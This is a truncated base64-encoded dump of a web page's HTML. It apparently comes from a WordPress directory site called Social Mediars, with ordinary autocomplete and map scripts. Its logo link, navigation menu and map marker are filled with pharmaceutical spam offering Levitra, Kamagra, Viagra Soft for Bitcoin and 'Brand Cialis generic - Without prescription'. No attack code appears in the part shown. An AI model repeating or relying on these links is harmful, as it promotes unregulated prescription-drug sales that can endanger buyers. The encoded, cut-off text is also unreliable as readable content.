xpbmsgcmVsPSJpY29uIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzAyLzI2ODA1NDAwXzkwODExMjYwMjY3NzExN182ODMzMjExMDAyMDA3OTMyNTM1X24tMTUweDE1MC5qcGciIHNpemVzPSIzMngzMiIgLz4KPGxpbmsgcmVsPSJpY29uIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzAyLzI2ODA1NDAwXzkwODExMjYwMjY3NzExN182ODMzMjExMDAyMDA3OTMyNTM1X24tMzAweDMwMC5qcGciIHNpemVzPSIxOTJ4MTkyIiAvPgo8bGluayByZWw9ImFwcGxlLXRvdWNoLWljb24tcHJlY29tcG9zZWQiIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTgvMDIvMjY4MDU0MDBfOTA4MTEyNjAyNjc3MTE3XzY4MzMyMTEwMDIwMDc5MzI1MzVfbi0zMDB4MzAwLmpwZyIgLz4KPG1ldGEgbmFtZT0ibXNhcHBsaWNhdGlvbi1UaWxlSW1hZ2UiIGNvbnRlbnQ9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTgvMDIvMjY4MDU0MDBfOTA4MTEyNjAyNjc3MTE3XzY4MzMyMTEwMDIwMDc5MzI1MzVfbi0zMDB4MzAwLmpwZyIgLz4KCgkJPHNjcmlwdD4KCQkgICdhcnRpY2xlIGFzaWRlIGZvb3RlciBoZWFkZXIgbmF2IHNlY3Rpb24gdGltZScucmVwbGFjZSgvXHcrL2csZnVuY3Rpb24obil7IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQobikgfSkKCQk8L3NjcmlwdD4KCgkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oJCkgewoKCQkJdmFyIGNhdGVnb3JpZXMgPSBbIHsgdmFsdWU6ICIxMTUiICwgbGFiZWw6ICJTb2NpYWwgTWVkaWFycyIgfSx7IHZhbHVlOiAiMTE3IiAsIGxhYmVsOiAiU29jaWFsIE1lZGlhcnMgRm9yIENoYXJpdHkiIH0seyB2YWx1ZTogIjExNiIgLCBsYWJlbDogIlNvY2lhbCBNZWRpYXJzIFdhbnRlZCIgfSBdOwoKCQkJdmFyIGxvY2F0aW9ucyA9IFsgeyB2YWx1ZTogIjExMyIgLCBsYWJlbDogIkNhbGlmb3JuaWEiIH0seyB2YWx1ZTogIjc4IiAsIGxhYmVsOiAiLSZuYnNwO0xvcyBBbmdlbGVzIiB9LHsgdmFsdWU6ICIxMDkiICwgbGFiZWw6ICJDb2xvcmFkbyIgfSx7IHZhbHVlOiAiOTciICwgbGFiZWw6ICItJm5ic3A7RGVudmVyIiB9LHsgdmFsdWU6ICIxMDMiICwgbGFiZWw6ICJDb25uZWN0aWN1dCIgfSx7IHZhbHVlOiAiMTA0IiAsIGxhYmVsOiAiLSZuYnNwO0hhcnRmb3JkIiB9LHsgdmFsdWU6ICIxMDYiICwgbGFiZWw6ICJJbGxpbm9pcyIgfSx7IHZhbHVlOiAiNzkiICwgbGFiZWw6ICItJm5ic3A7Q2hpY2FnbyIgfSx7IHZhbHVlOiAiMTA1IiAsIGxhYmVsOiAiTWFzc2FjaHVzZXR0cyIgfSx7IHZhbHVlOiAiMTAwIiAsIGxhYmVsOiAiLSZuYnNwO0Jvc3RvbiIgfSx7IHZhbHVlOiAiMTEwIiAsIGxhYmVsOiAiTWljaGlnYW4iIH0seyB2YWx1ZTogIjk0IiAsIGxhYmVsOiAiLSZuYnNwO0RldHJvaXQiIH0seyB2YWx1ZTogIjExMiIgLCBsYWJlbDogIk5ldmFkYSIgfSx7IHZhbHVlOiAiMTAyIiAsIGxhYmVsOiAiLSZuYnNwO0xhcyBWZWdhcyIgfSx7IHZhbHVlOiAiMTA3IiAsIGxhYmVsOiAiTmV3IFlvcmsiIH0seyB2YWx1ZTogIjQ2IiAsIGxhYmVsOiAiLSZuYnNwO05ldyBZb3JrIENpdHkiIH0seyB2YWx1ZTogIjExOCIgLCBsYWJlbDogIk5ldyBZb3JrIENpdHkiIH0seyB2YWx1ZTogIjEwOCIgLCBsYWJlbDogIlRleGFzIiB9LHsgdmFsdWU6ICI4NSIgLCBsYWJlbDogIi0mbmJzcDtEYWxsYXMiIH0seyB2YWx1ZTogIjExMSIgLCBsYWJlbDogIldhc2hpbmd0b24iIH0seyB2YWx1ZTogIjk2IiAsIGxhYmVsOiAiLSZuYnNwO1NlYXR0bGUiIH0gXTsKCgkJCXZhciBjYXRJbnB1dCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5IiApLAoJCQkJY2F0SW5wdXRJRCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkIiApLAoJCQkJbG9jSW5wdXQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiIgKSwKCQkJCWxvY0lucHV0SUQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCIgKTsKCgkJCWNhdElucHV0LmF1dG9jb21wbGV0ZSh7CgkJCQltaW5MZW5ndGg6IDAsCgkJCQlzb3VyY2U6IGNhdGVnb3JpZXMsCgkJCQlmb2N1czogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJY2F0SW5wdXQudmFsKCB2YWwgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9LAoJCQkJc2VsZWN0OiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQljYXRJbnB1dC52YWwoIHZhbCApOwoJCQkJCWNhdElucHV0SUQudmFsKCB1aS5pdGVtLnZhbHVlICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9KS5kYXRhKCAidWktYXV0b2NvbXBsZXRlIiApLl9yZW5kZXJJdGVtID0gZnVuY3Rpb24oIHVsLCBpdGVtICkgewoJCQkJcmV0dXJuICQoICI8bGk+IiApCgkJCQkJLmRhdGEoICJpdGVtLmF1dG9jb21wbGV0ZSIsIGl0ZW0gKQoJCQkJCS5hcHBlbmQoICI8YT4iICsgaXRlbS5sYWJlbCArICI8L2E+IiApCgkJCQkJLmFwcGVuZFRvKCB1bCApOwoJCQl9OwoJCQl2YXIgY2F0TGlzdCA9IGNhdElucHV0LmF1dG9jb21wbGV0ZSggIndpZGdldCIgKTsKCQkJY2F0TGlzdC5uaWNlU2Nyb2xsKHsgYXV0b2hpZGVtb2RlOiBmYWxzZSB9KTsKCgkJCWNhdElucHV0LmNsaWNrKGZ1bmN0aW9uKCl7CgkJCQljYXRJbnB1dC52YWwoJycpOwoJCQkJY2F0SW5wdXRJRC52YWwoJzAnKTsKCQkJCWNhdElucHV0LmF1dG9jb21wbGV0ZSggInNlYXJjaCIsICIiICk7CgkJCX0pOwoKCQkJbG9jSW5wdXQuYXV0b2NvbXBsZXRlKHsKCQkJCW1pbkxlbmd0aDogMCwKCQkJCXNvdXJjZTogbG9jYXRpb25zLAoJCQkJZm9jdXM6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWxvY0lucHV0LnZhbCggdmFsICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfSwKCQkJCXNlbGVjdDogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJbG9jSW5wdXQudmFsKCB2YWwgKTsKCQkJCQlsb2NJbnB1dElELnZhbCggdWkuaXRlbS52YWx1ZSApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfSkuZGF0YSggInVpLWF1dG9jb21wbGV0ZSIgKS5fcmVuZGVySXRlbSA9IGZ1bmN0aW9uKCB1bCwgaXRlbSApIHsKCQkJCXJldHVybiAkKCAiPGxpPiIgKQoJCQkJCS5kYXRhKCAiaXRlbS5hdXRvY29tcGxldGUiLCBpdGVtICkKCQkJCQkuYXBwZW5kKCAiPGE+IiArIGl0ZW0ubGFiZWwgKyAiPC9hPiIgKQoJCQkJCS5hcHBlbmRUbyggdWwgKTsKCQkJfTsKCQkJdmFyIGxvY0xpc3QgPSBsb2NJbnB1dC5hdXRvY29tcGxldGUoICJ3aWRnZXQiICk7CgkJCWxvY0xpc3QubmljZVNjcm9sbCh7IGF1dG9oaWRlbW9kZTogZmFsc2UgfSk7CgoJCQlsb2NJbnB1dC5jbGljayhmdW5jdGlvbigpewoJCQkJbG9jSW5wdXQudmFsKCcnKTsKCQkJCWxvY0lucHV0SUQudmFsKCcwJyk7CgkJCQlsb2NJbnB1dC5hdXRvY29tcGxldGUoICJzZWFyY2giLCAiIiApOwoJCQl9KTsKCgoKCQl9KTsKCQk8L3NjcmlwdD4KCgk8L2hlYWQ+CgoJPGJvZHkgY2xhc3M9InBhZ2UtaWQtMjE2NDI3Ij4KCgkJPGRpdiBpZD0icGFnZSIgY2xhc3M9ImhmZWVkICIgPgoKCgoKPGRpdiBjbGFzcz0idG9wYmFyIGNsZWFyZml4Ij4KCQk8ZGl2IGlkPSJ0YWdMaW5lSG9sZGVyIj4KCQkJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJCQk8cCBjbGFzcz0ibGVmdCBpbmZvIj5Tb2NpYWwgTWVkaWEgSXMgT3VyIEt1bmcgRnUgQW5kIEl0IElzIFN0cm9uZyE8L3A+CgoJCQkJCgkJCTwvZGl2PgoJCTwvZGl2Pgo8L2Rpdj4KCjxoZWFkZXIgaWQ9ImJyYW5kaW5nIiByb2xlPSJiYW5uZXIiPgoJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJPGRpdiBpZD0ibG9nbyIgY2xhc3M9ImxlZnQiPgoJCQkJPGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9jb250YWN0LyI+QnV5IExldml0cmEgUGx1cyBpbiBTYWludCBNYXJ0aW4gTWFyaWdvdDwvYT4KCQk8L2Rpdj4KCgkJPG5hdiBpZD0iYWNjZXNzIiByb2xlPSJuYXZpZ2F0aW9uIj4KCgkJCQkKPG5hdiBjbGFzcz0ibWFpbm1lbnUiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJtZW51Ij48bGkgaWQ9Im1lbnUtaXRlbS04MjExIiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLWhvbWUgY3VycmVudC1tZW51LWl0ZW0gcGFnZV9pdGVtIHBhZ2UtaXRlbS03IGN1cnJlbnRfcGFnZV9pdGVtIG1lbnUtaXRlbS04MjExIj48YSBocmVmPSJodHRwOi8vc29jaWFsbWVkaWFycy5jb20vP2F1dGhvcj0xIj5QdXJjaGFzZSBLYW1hZ3JhIENoZXdhYmxlIGluIE1hbHRhIFZhbGxldHRhPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyNDQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODI0NCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9yZWdpc3Rlci1mb3JtLyI+S2FtYWdyYSBlZmZlY3RzIC0gQXBwcm92ZWQgSW50ZXJuZXQgRHJ1Z3N0b3JlPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzNCI+PGEgaHJlZj0iaHR0cDovL3NvY2lhbG1lZGlhcnMuY29tLz9hdXRob3I9MiI+VGhlIHB1cmNoYXNlIG9mIFZpYWdyYSBTb2Z0IHdpdGggQml0Y29pbjwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjEyIiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMTIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vc29jaWFsLW1lZGlhcnMtZy1tb25leS8iPlN0b3JpZXMgb2YgdmlhZ3JhPC9hPjwvbGk+CjwvdWw+PC9uYXY+CgkJPC9uYXY+CgoJPC9kaXY+CjwvaGVhZGVyPgoJCQk8ZGl2IGlkPSJkaXJlY3RvcnktbWFpbi1iYXIiIGRhdGEtY2F0ZWdvcnk9IjAiIGRhdGEtbG9jYXRpb249IjAiIGRhdGEtc2VhcmNoPSIiIGRhdGEtZ2VvbG9jYXRpb249ImZhbHNlIj4KCQkJPC9kaXY+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CnZhciBtYXBEaXYsCgltYXAsCglpbmZvYm94OwpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKCgltYXBEaXYgPSAkKCIjZGlyZWN0b3J5LW1haW4tYmFyIik7CgljbHVzdGVyRW5hYmxlZCA9IHRydWU7CgltYXBEaXYuaGVpZ2h0KDUwMCkuZ21hcDMoewoJCW1hcDogewoJCQlvcHRpb25zOiB7CgkJCQkiZHJhZ2dhYmxlIjogdHJ1ZQoJCQkJLCJtYXBUeXBlQ29udHJvbCI6IHRydWUKCQkJCSwibWFwVHlwZUlkIjogZ29vZ2xlLm1hcHMuTWFwVHlwZUlkLlJPQURNQVAKCQkJCSwic2Nyb2xsd2hlZWwiOiBmYWxzZQoJCQkJLCJwYW5Db250cm9sIjogdHJ1ZQoJCQkJLCJyb3RhdGVDb250cm9sIjogZmFsc2UKCQkJCSwic2NhbGVDb250cm9sIjogdHJ1ZQoJCQkJLCJzdHJlZXRWaWV3Q29udHJvbCI6IHRydWUKCQkJCSwiem9vbUNvbnRyb2wiOiB0cnVlCgkJCQksY2VudGVyOiBbNDAuNjk3NDM2NzgxOTk0NjgsLTc0LjEyODgwNTk5NDk4NzQ5XQoJCQkJLHpvb206IDEwCgkJCX0KCQkJLGV2ZW50czp7CgkJCQl6b29tX2NoYW5nZWQ6IGZ1bmN0aW9uKG1hcCl7CgkJCQkJY2x1c3RlcmVyID0gbWFwRGl2LmdtYXAzKHsgZ2V0OiB7IG5hbWU6ICJjbHVzdGVyZXIiIH19KTsKCQkJCQlpZiAobWFwLmdldFpvb20oKSA+PSAxOSkgewoJCQkJCQlpZiAoY2x1c3RlckVuYWJsZWQpIHsKCQkJCQkJCWNsdXN0ZXJlci5kaXNhYmxlKCk7CgkJCQkJCQljbHVzdGVyRW5hYmxlZCA9IGZhbHNlOwoJCQkJCQl9CgkJCQkJfSBlbHNlIHsKCQkJCQkJaWYgKCFjbHVzdGVyRW5hYmxlZCkgewoJCQkJCQkJY2x1c3RlcmVyLmVuYWJsZSgpOwoJCQkJCQkJY2x1c3RlckVuYWJsZWQgPSB0cnVlOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCSxtYXJrZXI6IHsKCQkJdmFsdWVzOiBbCgkJCQkJewoJCQkJCQlsYXRMbmc6IFs0MC42OTc0MzY3ODE5OTQ2OCwtNzQuMTI4ODA1OTk0OTg3NDldLAoJCQkJCQlvcHRpb25zOiB7CgkJCQkJCQlpY29uOiAiaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9nLWUxNDgzMTE4MzY4NDI4LmpwZyIsCgkJCQkJCQlzaGFkb3c6ICJodHRwOi8vZGVtbzEwMC5nb2xkd2ViLmJpei93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJCQl9LAoJCQkJCQlkYXRhOiAJJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPicrCgkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCB3aXRoLWltYWdlIj48aW1nIHNyYz0iaHR0cDovL2RlbW8xMDAuZ29sZHdlYi5iaXovd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZGVmYXVsdC1wb3N0LWltYWdlLmpwZyIgYWx0PSIiPicrCgkJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFwLWl0ZW0taW5mbyI+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0idGl0bGUiPicrImcgbW9uZXkiKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJhZGRyZXNzIj4nKyJuZXcgWW9yayBjaXR5IisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9sb2Mvd2FzaGluZ3Rvbi8iPkJyYW5kIENpYWxpcyBnZW5lcmljIC0gV2l0aG91dCBwcmVzY3JpcHRpb248L2E+JysKCQkJCQkJCQkJCQknPC9kaXY+PGRpdiBjbGFzcz0iYXJyb3ciPjwvZGl2PicrCgkJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJJzwvZGl2PicKCQkJCQl9CgkJCV0sCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KCQkJfSwKCQkJZXZlbnRzOiB7CgkJCQljbGljazogZnVuY3Rpb24obWFya2VyLCBldmVudCwgY29udGV4dCl7CgkJCQkJdmFyIG1hcCA9IGpRdWVyeSh0aGlzKS5nbWFwMygiZ2V0Iik7CgkJCQkJalF1ZXJ5KCIjZGlyZWN0b3J5LW1haW4tYmFyIikuZmluZCgnLmluZm9Cb3gnKS5yZW1vdmUoKTsKCQkJCQlpZihjb250ZXh0LmRhdGEgIT0gImRpc2FibGVkIil7CgoJCQkJCQl2YXIgaW5mb0JveE9wdGlvbnMgPSB7CgkJCQkJCQljb250ZW50OiBjb250ZXh0LmRhdGEsCgkJCQkJCQlkaXNhYmxlQXV0b1BhbjogZmFsc2UsCgkJCQkJCQltYXhXaWR0aDogMTUwLAoJCQkJCQkJcGl4ZWxPZmZzZXQ6IG5ldyBnb29nbGUubWFwcy5TaXplKC01MCwgLTY1KSwKCQkJCQkJCWJveFN0eWxlOiB7CgkJCQkJCQkJd2lkdGg6ICIyOTBweCIKCQkJCQkJCX0sCgkJCQkJCQljbG9zZUJveE1hcmdpbjogIjRweCIsCgkJCQkJCQljbG9zZUJveFVSTDogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vcG9wX3VwLWNsb3NlLnBuZyIsCgkJCQkJCQkvLyBlbmFibGVFdmVudFByb3BhZ2F0aW9uOiB0cnVlLAoJCQkJCQkJaW5mb0JveENsZWFyYW5jZTogbmV3IGdvb2dsZS5tYXBzLlNpemUoMSwgMSksCgkJCQkJCQlwb3NpdGlvbjogbWFya2VyLnBvc2l0aW9uCgkJCQkJCX07CgkJCQkJCWluZm9ib3ggPSBuZXcgSW5mb0JveChpbmZvQm94T3B0aW9ucyk7CgoJCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgkJCQkJfQoJCQkJCW1hcC5wYW5UbyhtYXJrZXIuZ2V0UG9zaXRpb24oKSk7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJIAl9KTsKCgltYXAgPSBtYXBEaXYuZ21hcDMoImdldCIpOwoJaW5mb2JveCA9IG5ldyBJbmZvQm94KHsKCQlwaXhlbE9mZnNldDogbmV3IGdvb2dsZS5tYXBzLlNpemUoLTUwLCAtNjUpLAoJCWNsb3NlQm94VVJMOiAiaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9wb3BfdXAtY2xvc2UucG5nIiwKCQlib3hTdHlsZTogewoJCQl3aWR0aDogIjI5MHB4IgoJCX0sCgkJY2xvc2VCb3hNYXJnaW46ICI0cHgiLAoJCWVuYWJsZUV2ZW50UHJvcGFnYXRpb246IGZhbHNlCgl9KTsKCglpZiAoTW9kZXJuaXpyLnRvdWNoKXsKCQltYXAuc2V0T3B0aW9ucyh7IGRyYWdnYWJsZSA6IGZhbHNlIH0pOwoJCXZhciBkcmFnZ2FibGVDbGFzcyA9ICdpbmFjdGl2ZSc7CgkJdmFyIGRyYWdnYWJsZVRpdGxlID0gIkFjdGl2YXRlIG1hcCI7CgkJdmFyIGRyYWdnYWJsZUJ1dHRvbiA9ICQoJzxkaXYgY2xhc3M9ImRyYWdnYWJsZS10b2dnbGUtYnV0dG9uICcrZHJhZ2dhYmxlQ2xhc3MrJyI+JytkcmFnZ2FibGVUaXRsZSsnPC9kaXY+JykuYXBwZW5kVG8obWFwRGl2KTsKCQlkcmFnZ2FibGVCdXR0b24uY2xpY2soZnVuY3Rpb24gKCkgewoJCQlpZigkKHRoaXMpLmhhc0NsYXNzKCdhY3RpdmUnKSl7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKS5hZGRDbGFzcygnaW5hY3RpdmUnKS50ZXh0KCJBY3RpdmF0ZSBtYXAiKTsKCQkJCW1hcC5zZXRPcHRpb25zKHsgZHJhZ2dhYmxlIDogZmFsc2UgfSk7CgkJCX0gZWxzZSB7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdpbmFjdGl2ZScpLmFkZENsYXNzKCdhY3RpdmUnKS50ZXh0KCJEZWFjdGl2YXRlIG1hcCIpOwoJCQkJbWFwLnNldE9wdGlvbnMoeyBkcmFnZ2FibGUgOiB0cnVlIH0pOwoJCQl9CgkJfSk7Cgl9CgovLyBsb2FkaW5nIHNwaW5uZXIKdmFyIG9wdHMgPSB7CglsaW5lczogMTMsIC8vIFRoZSBudW1iZXIgb2YgbGluZXMgdG8gZHJhdwoJbGVuZ3RoOiA5LCAvLyBUaGUgbGVuZ3RoIG9mIGVhY2ggbGluZQoJd2lkdGg6IDksIC8vIFRoZSBsaW5lIHRoaWNrbmVzcwoJcmFkaXVzOiAyNywgLy8gVGhlIHJhZGl1cyBvZiB0aGUgaW5uZXIgY2lyY2xlCgljb3JuZXJzOiAxLCAvLyBDb3JuZXIgcm91bmRuZXNzICgwLi4xKQoJcm90YXRlOiAwLCAvLyBUaGUgcm90YXRpb24gb2Zmc2V0Cgljb2xvcjogJyNGRkYnLCAvLyAjcmdiIG9yICNycmdnYmIKCXNwZWVkOiAxLjgsIC8vIFJvdW5kcyBwZXIgc2Vjb25kCgl0cmFpbDogODEsIC8vIEFmdGVyZ2xvdyBwZXJjZW50YWdlCglzaGFkb3c6IHRydWUsIC8vIFdoZXRoZXIgdG8gcmVuZGVyIGEgc2hhZG93Cglod2FjY2VsOiBmYWxzZSwgLy8gV2hldGhlciB0byB1c2UgaGFyZHdhcmUgYWNjZWxlcmF0aW9uCgljbGFzc05hbWU6ICdzcGlubmVyJywgLy8gVGhlIENTUyBjbGFzcyB0byBhc3NpZ24gdG8gdGhlIHNwaW5uZXIKCXpJbmRleDogMmU5LCAvLyBUaGUgei1pbmRleCAoZGVmYXVsdHMgdG8gMjAwMDAwMDAwMCkKCXRvcDogJ2F1dG8nLCAvLyBUb3AgcG9zaXRpb24gcmVsYXRpdmUgdG8gcGFyZW50IGluIHB4CglsZWZ0OiAnYXV0bycgLy8gTGVmdCBwb3NpdGlvbiByZWxhdGl2ZSB0byBwYXJlbnQgaW4gcHgKfTsKCnZhciB0YXJnZXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyZWN0b3J5LW1haW4tYmFyJyksCglzcGlubmVyID0gbmV3IFNwaW5uZXIob3B0cykuc3Bpbih0YXJnZXQpLAoJc3Bpbm5lckRpdiA9IG1hcERpdi5maW5kKCcuc3Bpbm5lcicpOwoKdmFyIHNlYXJjaCA9ICQoJyNkaXJlY3Rvcnktc2VhcmNoJyksCglzZWFyY2hJbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLAoJc2VhcmNoU3VibWl0ID0gJCgnI2Rpci1zZWFyY2hzdWJtaXQnKSwKCWNhdGVnb3J5SW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5JyksCglsb2NhdGlvbklucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbicpLAoJZ2VvSW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLAoJZ2VvSW5wdXRSYWRpdXMgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlby1yYWRpdXMnKSwKCWdlb0lucHV0TGF0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8tbGF0JyksCglnZW9JbnB1dExuZyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvLWxuZycpOwoKZnVuY3Rpb24gc2hvd0xvYWRpbmcoZGlzYWJsZVN1Ym1pdCkgewoJdmFyIHRvcFBvc